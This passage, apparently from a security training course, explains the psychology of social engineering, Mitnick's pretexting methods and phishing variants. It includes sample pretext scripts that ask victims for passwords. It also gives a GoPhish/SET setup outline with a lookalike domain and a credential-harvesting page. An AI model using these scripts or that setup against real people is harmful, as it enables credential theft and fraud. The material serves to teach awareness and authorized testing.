&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; New employees are expected to be confused, to ask questions that might seem basic, and to need help with access and systems. This creates a social permission for behaviors that would seem suspicious from an established employee — asking for help accessing systems they "should" have access to, not knowing normal procedures, needing to be walked through processes.&lt;/p&gt;

&lt;p&gt;Impersonating a new hire is particularly effective for gaining access to office spaces and systems in person. The social convention of being helpful to newcomers is strong, and few employees will interrogate a new colleague who seems to be having trouble with their badge or their system access.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1.4 The Human Brain Under Attack — Cognitive Science of Social Engineering
&lt;/h3&gt;

&lt;p&gt;To understand why social engineering works — and why even intelligent, security-aware people fall victim to it — you need to understand how the human brain actually processes decisions. This is not optional background knowledge. It is the operational foundation of every social engineering technique.&lt;/p&gt;

&lt;h4&gt;
  
  
  System 1 and System 2 Thinking — Daniel Kahneman's Framework
&lt;/h4&gt;

&lt;p&gt;Nobel Prize-winning psychologist Daniel Kahneman's research, detailed in his landmark book &lt;em&gt;Thinking, Fast and Slow&lt;/em&gt;, established that human thinking operates through two systems that are always running simultaneously:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;System 1&lt;/strong&gt; is fast, automatic, emotional, and unconscious. It processes information quickly using pattern recognition, heuristics (mental shortcuts), and emotional responses. System 1 is responsible for most of the decisions you make throughout the day — it is the system that recognizes a familiar face, catches a ball thrown to you, feels uncomfortable in an unfamiliar situation, and automatically trusts someone who speaks confidently. System 1 is what keeps you from being overwhelmed by the cognitive demands of processing every decision from scratch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;System 2&lt;/strong&gt; is slow, deliberate, rational, and effortful. It is responsible for careful reasoning, mathematical calculation, deliberate evaluation of arguments, and weighing evidence. System 2 is what you use when you read a complex contract, evaluate a job offer, or verify whether a suspicious email is legitimate. But System 2 requires significant cognitive resources and effort — and it can be overridden, bypassed, or simply prevented from engaging by the right combination of stimuli.&lt;/p&gt;

&lt;p&gt;Social engineering attacks are precisely designed to engage System 1 and prevent System 2 from activating. Every element of a well-designed attack — the urgency, the authority, the emotional pressure, the time constraints, the familiarity of the scenario — is calibrated to keep the target's fast, pattern-matching System 1 in control and prevent the slow, rational System 2 from evaluating the request critically.&lt;/p&gt;

&lt;p&gt;When you feel a surge of anxiety about a "security incident" on your account, when you feel the pressure of a fifteen-minute deadline to respond, when you feel the hierarchical weight of a request from someone claiming to be from the executive team — these are System 1 emotional responses being deliberately engineered. The anxiety is a feature of the attack, not a bug.&lt;/p&gt;

&lt;h4&gt;
  
  
  Cognitive Biases That Social Engineers Exploit
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Authority Bias:&lt;/strong&gt; The human brain gives disproportionate weight to instructions, requests, and statements from perceived authority figures. This is not irrationality — it is an evolved heuristic that generally serves us well. In organized social groups, following the instructions of legitimate authority figures generally leads to good outcomes. The problem is that this bias is triggered by &lt;em&gt;signals&lt;/em&gt; of authority — uniforms, titles, confident tone, insider knowledge, organizational context — rather than actual verified authority. An attacker who accurately provides these signals gets the same compliance response as a real authority figure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Urgency and Scarcity:&lt;/strong&gt; The human brain responds to perceived scarcity and time pressure with heightened arousal and reduced deliberative processing. When something is scarce (limited time, limited opportunity, deadline approaching), the brain prioritizes immediate action over careful evaluation. This is why "Your account will be locked in 15 minutes if you don't verify your credentials now" is so effective — the time pressure physically prevents the kind of slow, careful evaluation that would reveal the message as suspicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Social Proof:&lt;/strong&gt; Humans are social animals who use other people's behavior as a guide to appropriate action. When others have done something, it serves as evidence that the action is safe and acceptable. "Your colleagues in the finance department have already completed this security verification" removes a significant psychological barrier to compliance — if others have done it, it must be legitimate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reciprocity:&lt;/strong&gt; One of the most deeply embedded social norms in human cultures worldwide is the obligation to return favors. When someone does something for you, you feel a powerful psychological pressure to reciprocate. Social engineers exploit this by doing something small for the target before making their request — providing a helpful piece of information, solving a minor problem, offering assistance. The resulting sense of obligation makes targets more likely to comply with the subsequent request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Liking:&lt;/strong&gt; People comply with requests from those they like more readily than requests from strangers. Similarity, familiarity, and genuine (or simulated) rapport all increase liking. An attacker who establishes rapport — by referencing shared experiences, using the target's name, expressing enthusiasm for the target's work — creates a liking response that lowers defenses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consistency and Commitment:&lt;/strong&gt; Once a person commits to a position, action, or relationship, they are under psychological pressure to remain consistent with that commitment. Social engineers use this by starting with small, innocuous requests and progressively escalating. Having agreed to share their name, their department, and their role, the target has established a pattern of compliance that makes refusing the subsequent request for credentials psychologically inconsistent.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Dunning-Kruger Effect in Reverse:&lt;/strong&gt; Interestingly, people who believe they are most resistant to social engineering are often most vulnerable. Overconfidence in one's ability to detect deception reduces vigilance. The most skeptical person in a room who has been convinced a pretext is legitimate is often the most committed defender of that pretext — because they have already applied their critical faculties and concluded it is real.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Role of Stress, Cognitive Load, and Emotional State
&lt;/h4&gt;

&lt;p&gt;Research in behavioral psychology consistently shows that stress, cognitive load (having multiple things to think about simultaneously), emotional arousal (fear, excitement, anger), and fatigue all dramatically reduce the quality of decision-making. They reduce System 2 engagement and increase dependence on System 1 heuristics.&lt;/p&gt;

&lt;p&gt;This is why social engineering attacks are often executed at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;End of business day (targets are tired, want to go home)&lt;/li&gt;
&lt;li&gt;Start of business day (targets are still warming up, processing the day's demands)&lt;/li&gt;
&lt;li&gt;During periods of organizational stress (acquisitions, audits, incidents)&lt;/li&gt;
&lt;li&gt;When the target is visibly busy or distracted&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A target who is handling three conversations simultaneously, dealing with a deadline, or worried about an organizational event is a much softer target than a relaxed, focused employee with time to think.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1.5 Cialdini's Six Principles — The Psychological Engine of Every Social Engineering Attack
&lt;/h3&gt;

&lt;p&gt;Robert Cialdini's &lt;em&gt;Influence: The Psychology of Persuasion&lt;/em&gt; (1984, expanded 2021) documented six principles of influence that reliably produce compliance in human beings. These principles were identified through decades of research into sales, marketing, negotiation, and human behavior. Every social engineering attack maps to one or more of these principles — and the most effective attacks stack multiple principles simultaneously.&lt;/p&gt;

&lt;p&gt;Understanding these principles is foundational because they are not tricks or gimmicks. They are descriptions of how human psychology actually works — which means they work regardless of the target's intelligence, education, or awareness of social engineering.&lt;/p&gt;

&lt;h4&gt;
  
  
  Principle 1: Reciprocity
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle:&lt;/strong&gt; We feel obligated to give back to those who have given to us. When someone does us a favor, we feel a powerful social and psychological obligation to return it. This obligation is so deeply embedded in human social norms that it operates even when the initial gift was unsolicited, small, or given by someone we do not know.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The neuroscience:&lt;/strong&gt; Reciprocity activates regions of the brain associated with social bonding and reward. Failing to reciprocate activates regions associated with discomfort and social anxiety. The psychological pressure to reciprocate is experienced as genuine discomfort — not a calculation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The social engineering application:&lt;/strong&gt; An attacker who provides something of value before making their request creates a reciprocity obligation that makes compliance significantly more likely. This might be providing a helpful piece of information, solving a small problem for the target, offering a compliment or flattery, or even just expressing gratitude for the target's time.&lt;/p&gt;

&lt;p&gt;Mitnick frequently used this principle in a specific way: he would call a target and help them with something before making his actual request. He might call the IT department and share useful information about a system issue before asking about network configurations. The help was genuine — it just served a strategic purpose.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example in practice:&lt;/strong&gt; "I've pulled up your account and I can see the issue — I've already fixed the permissions problem on your email. While I have you, I just need to verify one thing to complete the ticket on my end. Can you confirm your current password so I can make sure the change went through correctly?"&lt;/p&gt;

&lt;h4&gt;
  
  
  Principle 2: Commitment and Consistency
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle:&lt;/strong&gt; Once people commit to a position, they are strongly motivated to remain consistent with that commitment. Public commitments are more powerful than private ones; active commitments more powerful than passive ones; chosen commitments more powerful than coerced ones.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The neuroscience:&lt;/strong&gt; Cognitive dissonance — the discomfort of holding inconsistent beliefs or behaviors — is a powerful motivator. The brain works to reduce cognitive dissonance by bringing behavior in line with prior commitments, rather than evaluating each decision independently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The social engineering application:&lt;/strong&gt; The foot-in-the-door technique is the classic application: start with a small request that the target is very likely to agree to, then follow with progressively larger requests. Having agreed to the initial request, the target is under psychological pressure to remain consistent — each subsequent compliance is a defense against the cognitive dissonance of having refused after already starting to cooperate.&lt;/p&gt;

&lt;p&gt;In practice, this looks like: "Can I just confirm your department?" (Yes.) "And your employee ID number?" (Given.) "And which manager you report to?" (Given.) "Great. Now, for this final verification step, I'll need your current password..." — each small agreement makes the final compliance more likely.&lt;/p&gt;

&lt;h4&gt;
  
  
  Principle 3: Social Proof
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle:&lt;/strong&gt; When people are uncertain about what to do, they look to others' behavior as evidence of the correct action. The more people who have done something, the more appropriate and safe it appears.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The neuroscience:&lt;/strong&gt; Social proof is an evolved heuristic. In uncertain environments, following the group's behavior generally leads to better outcomes than individual deviation. The brain processes social proof information quickly and automatically through the same mechanisms that process social observation in general — highly efficient, largely unconscious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The social engineering application:&lt;/strong&gt; Claims that others have already complied are particularly effective in organizational contexts. "Most employees in your department have already completed this security verification" creates pressure to conform. "Your colleague John Smith verified his credentials for this process yesterday" creates both social proof and implied authority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI amplification:&lt;/strong&gt; Modern AI-powered phishing tools can generate emails that reference real colleagues, real internal events, and real organizational relationships — creating highly convincing social proof that appears based on insider knowledge.&lt;/p&gt;

&lt;h4&gt;
  
  
  Principle 4: Authority
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle:&lt;/strong&gt; People comply with instructions and requests from legitimate authority figures. Authority is signaled through titles, uniforms, expertise, tone, and insider knowledge — and the compliance response is triggered by the signals, not by verified actual authority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The neuroscience:&lt;/strong&gt; The brain's response to authority figures involves different neural pathways than responses to peers. Authority figures receive reduced skepticism, increased compliance, and altered memory encoding — we literally remember interactions with authority figures differently than interactions with equals.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The social engineering application:&lt;/strong&gt; This is perhaps the most versatile principle in social engineering. Authority can be established through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Title: "I'm calling from the CISO's office"&lt;/li&gt;
&lt;li&gt;Technical expertise: Demonstrating specific knowledge of internal systems, vendors, or processes&lt;/li&gt;
&lt;li&gt;Tone: Speaking with confidence, precision, and command&lt;/li&gt;
&lt;li&gt;Insider knowledge: Referencing real internal information that only someone legitimate would know (gathered through OSINT)&lt;/li&gt;
&lt;li&gt;Third-party authority: "I was asked to contact you by [Manager Name]"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The authority principle is why spear phishing emails impersonating executives are so devastatingly effective — even when employees intellectually know that executives would not send such requests, the authority trigger in System 1 overrides the skepticism of System 2.&lt;/p&gt;

&lt;h4&gt;
  
  
  Principle 5: Liking
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle:&lt;/strong&gt; We are more easily influenced by people we like than by people we dislike or feel neutral toward. Liking is increased by similarity, familiarity, attractiveness (in multiple senses), and association with positive things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The neuroscience:&lt;/strong&gt; The same brain regions involved in evaluating trustworthiness also respond to facial attractiveness, social similarity, and familiarity. Liking genuinely reduces cognitive barriers to compliance — it is not that we decide to trust liked people more. Our brains literally process their requests differently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The social engineering application:&lt;/strong&gt; Rapport-building is the primary mechanism. Skilled social engineers invest time in establishing genuine-feeling connection before making their requests. This includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using the target's name frequently&lt;/li&gt;
&lt;li&gt;Referencing shared interests, experiences, or connections&lt;/li&gt;
&lt;li&gt;Expressing genuine-sounding enthusiasm for the target's work or role&lt;/li&gt;
&lt;li&gt;Mirroring the target's communication style, pace, and vocabulary&lt;/li&gt;
&lt;li&gt;Finding genuine points of agreement before areas of request&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mitnick was legendarily skilled at building rapid rapport. He would research targets sufficiently to have real conversations about their interests and concerns — not faking interest, but having genuine engagement that happened to serve a strategic purpose.&lt;/p&gt;

&lt;h4&gt;
  
  
  Principle 6: Scarcity
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle:&lt;/strong&gt; Things that are rare or becoming unavailable are more desirable than things that are plentiful. Time-limited opportunities, limited availability, and threatened access all trigger urgency responses that override careful deliberation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The neuroscience:&lt;/strong&gt; Scarcity activates the brain's loss aversion mechanisms, which research consistently shows are roughly twice as powerful as equivalent gain anticipation mechanisms. The prospect of losing something you could have had is more motivating than the prospect of gaining something equivalent. Scarcity also triggers arousal responses that reduce deliberative processing — making quick, emotionally-driven compliance more likely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The social engineering application:&lt;/strong&gt; Artificial urgency is the most common form of manufactured scarcity in social engineering. "Your account will be locked in 15 minutes," "I need this information before the maintenance window closes at 5 PM," "This is the last chance to verify before the system rolls over" — these all create the experience of time-limited opportunity that compresses the window available for careful evaluation.&lt;/p&gt;

&lt;p&gt;The critical insight is that the urgency does not need to be real. The brain's response to perceived urgency is the same whether the urgency is genuine or manufactured. A deadline that exists only in the attacker's email is processed with the same neural urgency as a real deadline.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1.6 Kevin Mitnick — The Art of Deception in Practice
&lt;/h3&gt;

&lt;p&gt;Kevin Mitnick's career as a hacker and later as a security consultant represents the most extensively documented case study in social engineering in history. His book &lt;em&gt;The Art of Deception&lt;/em&gt; (2002, co-authored with William L. Simon) is required reading for anyone serious about understanding social engineering from a practical, operational perspective. Understanding Mitnick's methods is not just historically interesting — his techniques remain directly applicable because they exploit human psychology, which has not changed.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Core Mitnick Thesis
&lt;/h4&gt;

&lt;p&gt;Mitnick's foundational argument, demonstrated through hundreds of real attacks, is this: &lt;strong&gt;an organization's security is only as strong as its weakest human link, and that link can always be found and exploited.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No amount of technical security infrastructure matters if an attacker can find one person who will provide access — either because they were deceived, because they were socially pressured, or because they were manipulated into violating security policy. And in any organization of meaningful size, that person always exists.&lt;/p&gt;

&lt;p&gt;More provocatively, Mitnick demonstrated that the same employees who receive security awareness training, who know that social engineering exists, and who believe they are security-conscious are still vulnerable to well-crafted attacks. Knowledge of the attack form is not sufficient protection against a skillfully executed instance of it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitnick's Operational Principles
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;"The easiest way to get inside a company's network is not through a technical exploit — it is through the phone."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mitnick made most of his most significant breaches through telephone calls. He called telephone companies and impersonated technicians to obtain information. He called corporations and impersonated employees, vendors, and IT staff. He called data centers and impersonated system administrators. The telephone creates intimacy — a direct, real-time personal connection — that makes pretexts feel more real than emails.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Research everything before making contact.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mitnick invested extensively in understanding his targets before engaging them. He would spend days gathering organizational information — learning department structures, employee names, system names, vendor relationships, and internal terminology — before making a single call. The research served two purposes: it made his pretexts accurate and specific enough to pass scrutiny, and it provided the raw material for building rapport.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use small requests to establish credibility before making large ones.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mitnick consistently used a sequence of small, low-risk interactions to build a relationship before making the actual attack request. He might call the help desk three times over a week with minor, legitimate-sounding questions — gradually establishing himself as a familiar, trusted contact — before requesting the sensitive information he actually needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;People want to be helpful, and you can use that.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is one of Mitnick's most emphasized observations. The social engineers fail is usually not because targets are suspicious — it is because targets want to help. Most people in an organization feel a genuine desire to be helpful to colleagues, vendors, and anyone who seems to be working on a legitimate problem. Mitnick designed his pretexts to channel this desire to help rather than to overcome resistance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exploit organizational ambiguity.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Large organizations are complex enough that nobody has a complete picture of all processes, all employees, all vendors, and all procedures. This complexity creates ambiguity — spaces where no one is certain what the correct procedure is, who has authority over what, or whether a given request is normal. Mitnick placed his attacks in these ambiguous spaces, where no clear protocol existed to guide the target's response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If caught, use a graceful exit that confirms your legitimacy.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mitnick's advice about handling suspicion is counterintuitive: the best response to a suspicious target is not to press harder — it is to gracefully endorse the target's caution and exit cleanly. "You're absolutely right to be careful. I'll get your manager to contact you through official channels." This response accomplishes two things: it avoids detection and capture, and paradoxically it reinforces the perception that the contact was legitimate (because fraudsters don't encourage security verification).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The most powerful pretext is one that contains true information.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Whenever possible, Mitnick incorporated real, verifiable information into his pretexts — real employee names, real system names, real organizational events. When a target tries to verify elements of a pretext and finds them accurate, their skepticism collapses. The pretext passes the verification test and becomes more convincing than if no verification attempt had been made.&lt;/p&gt;

&lt;h4&gt;
  
  
  Specific Mitnick Techniques Worth Studying
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The reverse social engineering attack:&lt;/strong&gt; Instead of initiating contact and making a request, the attacker creates a situation where the target initiates contact and asks the attacker for help. This is profoundly effective because it completely inverts the suspicion dynamic. If you called someone unsolicited and asked for credentials, they might be suspicious. If they called you for help because you have positioned yourself as the solution to their problem, they share everything without hesitation. Mitnick would sometimes plant information suggesting a system issue, then make sure his contact details were what the target found when they looked for help. The target would call him. He would "help" them — and in the process, obtain everything he needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The long game:&lt;/strong&gt; For high-value targets, Mitnick invested weeks or months in building a relationship before making any request. He would call regularly with helpful information, establish himself as a reliable resource, and only make his actual request when the relationship was strong enough that it was nearly unthinkable to refuse him.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Voicemail as a credibility signal:&lt;/strong&gt; Mitnick used voicemail strategically — leaving messages that demonstrated insider knowledge of the organization, referencing real colleagues and real projects. When targets returned the call, they were already predisposed to trust because the voicemail had established credibility in their absence, without the pressure of real-time response.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitnick's Impact on Modern Security
&lt;/h4&gt;

&lt;p&gt;Mitnick's legacy is the fundamental reorientation of cybersecurity to take the human element seriously. Before Mitnick's public profile (partly shaped by his own legal battles and the books that followed), social engineering was treated as a secondary concern — something addressed by policy documents that nobody read. After Mitnick demonstrated definitively and repeatedly that social engineering was the primary attack vector for even technically sophisticated attackers, the security industry was forced to take security awareness training, human-centered security controls, and social engineering testing seriously.&lt;/p&gt;

&lt;p&gt;Modern red team engagements routinely include social engineering components specifically because of the understanding that Mitnick established: technical controls without human controls are incomplete, and the only way to know how vulnerable your human controls are is to test them.&lt;/p&gt;




&lt;h2&gt;
  
  
  4.2 Social Engineering Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.2.1 Overview — The Attack Surface Is Every Human Being
&lt;/h3&gt;

&lt;p&gt;The attack surface of a well-secured technical infrastructure is specific and bounded. Firewalls can be configured to permit only specific traffic. Systems can be hardened to expose only necessary services. Encryption protects data in transit and at rest. These controls can be applied specifically to specific systems with specific vulnerabilities.&lt;/p&gt;

&lt;p&gt;The attack surface of a social engineering attack is every single human being in an organization — or connected to it — who has access to anything an attacker wants. This is not bounded. This is not specific. An organization of 10,000 employees has 10,000 potential entry points for social engineering, plus their contractors, their families who might know organizational details, their former employees, and their vendors.&lt;/p&gt;

&lt;p&gt;Every communication channel those humans use — email, phone, SMS, social media, in person, video call — is a potential vector. Every role those humans have — executive, developer, receptionist, finance staff, IT help desk, security team, customer service — creates different forms of access and different pretext opportunities.&lt;/p&gt;

&lt;p&gt;This is why social engineering is, from an attacker's strategic perspective, more attractive than technical exploitation for initial access. The technical attack surface can be reduced through patching, hardening, and network architecture. The human attack surface only grows as organizations hire more people, use more vendors, and communicate through more channels.&lt;/p&gt;

&lt;p&gt;What follows is a systematic examination of each primary social engineering attack type — how it works, why it works, what the real-world attack chain looks like, and how it is executed professionally in authorized social engineering engagements.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2.2 Email Phishing — The Most Scalable Attack in Existence
&lt;/h3&gt;

&lt;h4&gt;
  
  
  What Phishing Actually Is
&lt;/h4&gt;

&lt;p&gt;Phishing is the use of deceptive email communications to manipulate recipients into taking a specific action: clicking a malicious link, opening a malicious attachment, providing credentials or sensitive information, or authorizing a financial transaction.&lt;/p&gt;

&lt;p&gt;The term comes from "fishing" — the attacker casts a wide net, knows that only a small percentage of targets will "bite," and profits from those who do. The scalability is the key economic insight: sending one million phishing emails costs approximately the same as sending one, while the expected return grows linearly with the number of emails sent. This asymmetry makes phishing uniquely attractive to attackers.&lt;/p&gt;

&lt;p&gt;According to the FBI's 2024 Internet Crime Complaint Center report, phishing is the most commonly reported cybercrime, with over 300,000 complaints and losses exceeding $3 billion. Proofpoint's 2024 data shows that over 70% of organizations experienced harmful phishing attacks that year.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Anatomy of a Phishing Email
&lt;/h4&gt;

&lt;p&gt;Every phishing email attempts to accomplish four things simultaneously:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Establish perceived legitimacy&lt;/strong&gt; — the email must appear to come from a trusted source. This involves sender address spoofing or lookalike domain registration, email formatting that matches legitimate communications from the impersonated sender, logos and branding copied from real communications, and writing style appropriate to the impersonated entity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Create an emotionally compelling scenario&lt;/strong&gt; — the scenario must trigger one or more of the Cialdini principles. "Your account has been compromised" (fear + urgency + scarcity). "Your package could not be delivered" (curiosity + urgency). "You have an unclaimed tax refund" (gain + scarcity). "Immediate action required by your compliance team" (authority + urgency).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Provide a clear call to action&lt;/strong&gt; — a specific, simple action the target should take. Click this link. Download and open this attachment. Reply with this information. Call this number. The action must feel proportionate to the scenario and must require minimal decision-making.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Remove friction from compliance&lt;/strong&gt; — the email must make it as easy as possible to take the desired action. Pre-filled links, clear buttons, simple instructions, minimal steps.&lt;/p&gt;

&lt;h4&gt;
  
  
  Types of Phishing by Targeting Precision
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Mass Phishing (Bulk Phishing)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mass phishing sends identical or near-identical emails to large lists of email addresses — thousands to millions of recipients. The content is generic enough to be plausible for a wide audience. "Your PayPal account has been limited," "Your Netflix subscription payment failed," "Your parcel with tracking number could not be delivered."&lt;/p&gt;

&lt;p&gt;The economics are favorable: even a 0.01% click rate on 1,000,000 emails produces 100 victims. At an average BEC loss of $50,000, 100 victims represents $5 million in potential fraud.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How mass phishing campaigns are executed in authorized red team engagements:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Tools used:
- GoPhish: Open-source phishing framework
  gophish &lt;span class="nt"&gt;--config&lt;/span&gt; config.json

- King Phisher: Professional-grade phishing campaign management

- SET &lt;span class="o"&gt;(&lt;/span&gt;Social Engineering Toolkit&lt;span class="o"&gt;)&lt;/span&gt;:
  setoolkit → Social Engineering Attacks → Mass Mailer Attack

Infrastructure setup:
- Register a lookalike domain &lt;span class="o"&gt;(&lt;/span&gt;targetco-security.com instead of targetco.com&lt;span class="o"&gt;)&lt;/span&gt;
- Configure MX records &lt;span class="k"&gt;for &lt;/span&gt;the domain
- Set up an SMTP relay server
- Configure SPF, DKIM, and DMARC records to improve deliverability
- Create a credential harvesting landing page
- Configure GoPhish with the email template, the landing page, and the target list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Spear Phishing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Spear phishing is targeted phishing — emails crafted for a specific individual or a specific group, using personalized information that makes the email feel genuinely relevant to that person's situation.&lt;/p&gt;

&lt;p&gt;The personalization is what makes spear phishing so dramatically more effective than mass phishing. A 2020 study by Proofpoint found that spear phishing emails have approximately 9x higher click rates than mass phishing emails. The difference is entirely in the perceived relevance and credibility.&lt;/p&gt;

&lt;p&gt;OSINT provides the raw material for spear phishing personalization:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;LinkedIn reveals the target's role, projects, recent accomplishments, and connections&lt;/li&gt;
&lt;li&gt;Twitter/X reveals their interests, recent travel, conference attendance, and opinions&lt;/li&gt;
&lt;li&gt;Corporate websites reveal their reporting structure and team membership&lt;/li&gt;
&lt;li&gt;Job listings reveal the technologies their team uses&lt;/li&gt;
&lt;li&gt;Press releases reveal recent organizational events they are likely aware of&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A spear phishing email targeting a Senior DevOps Engineer might reference their specific cloud platform (AWS/GCP/Azure), their team's recent deployment, their connection to a specific colleague, and a plausible technical scenario that only someone in that exact role would find credible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-world example from 2024:&lt;/strong&gt; U.S. defense contractors were targeted by spear phishing campaigns that used real conference speaker lists to craft personalized emails. The attackers posed as event organizers and sent malicious calendar invites to speakers — who had publicly posted their conference participation on LinkedIn and the conference website. The personalization (correct name, correct conference, correct role) bypassed the targets' skepticism.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Whaling&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Whaling is spear phishing targeting specifically high-value individuals — executives (CEO, CFO, CTO, CISO), board members, celebrities, or politicians. The term captures both the high value of the target and the significantly higher investment required to successfully compromise them.&lt;/p&gt;

&lt;p&gt;Executives are generally better-educated about security risks than average employees — but they are also under higher cognitive load, receive more communications, have less time to evaluate each email carefully, and wield authority significant enough that their compromise has massive organizational impact.&lt;/p&gt;

&lt;p&gt;Executive-targeted phishing often leverages scenarios that are plausible in the context of executive responsibility: M&amp;amp;A-related communications, board-level confidential matters, regulatory compliance requirements, or urgent communications from law enforcement or regulatory bodies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Business Email Compromise (BEC)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;BEC is the most financially devastating social engineering attack variant. The FBI reported $2.9 billion in BEC losses in 2023 — this number is likely significantly understated due to underreporting.&lt;/p&gt;

&lt;p&gt;BEC attacks either compromise an executive's actual email account or create a convincing email impersonation to send fraudulent financial instructions to employees with financial authority. The most common variants:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;CEO/CFO Fraud:&lt;/em&gt; An email appearing to come from the CEO or CFO requests an urgent wire transfer to a new vendor or partner. The email emphasizes urgency, requests confidentiality (to prevent verification), and usually provides a plausible business justification (acquisition-related, partnership agreement, supplier payment).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Invoice Fraud:&lt;/em&gt; An attacker compromises or impersonates a vendor's email and sends fraudulent invoices with changed payment details. Since the invoice appears to come from a legitimate vendor, finance staff pay without verification.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Payroll Diversion:&lt;/em&gt; An attacker impersonates an employee and sends HR or payroll a request to update bank details for direct deposit — redirecting the employee's salary to an attacker-controlled account.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Attorney Impersonation:&lt;/em&gt; Impersonating a law firm and claiming time-sensitive legal matters require immediate wire transfer, often leveraging fear of legal consequences.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Clone Phishing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Clone phishing takes a legitimate email the target has previously received and creates an exact duplicate — with the malicious modification of replacing legitimate links or attachments with malicious ones. The attacker claims the re-send is because the original link expired, the attachment was updated, or there was a technical issue.&lt;/p&gt;

&lt;p&gt;Clone phishing is particularly effective because the entire email structure, tone, branding, and sender context are real — they were copied from a genuine communication. The only change is the malicious link or attachment.&lt;/p&gt;

&lt;p&gt;This technique requires prior knowledge of what legitimate emails the target receives — which can be obtained by compromising an email account in the organization's email ecosystem, through a prior breach of email metadata, or through careful OSINT.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;QR Code Phishing (Quishing)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An emerging variant that embeds malicious URLs in QR codes rather than clickable text links. QR codes bypass many email security tools that scan URLs in text format, and users are generally less suspicious of QR codes (which are associated with physical-world use cases like restaurant menus) than text links.&lt;/p&gt;

&lt;h4&gt;
  
  
  Email Authentication — Why Phishing Is Still So Effective
&lt;/h4&gt;

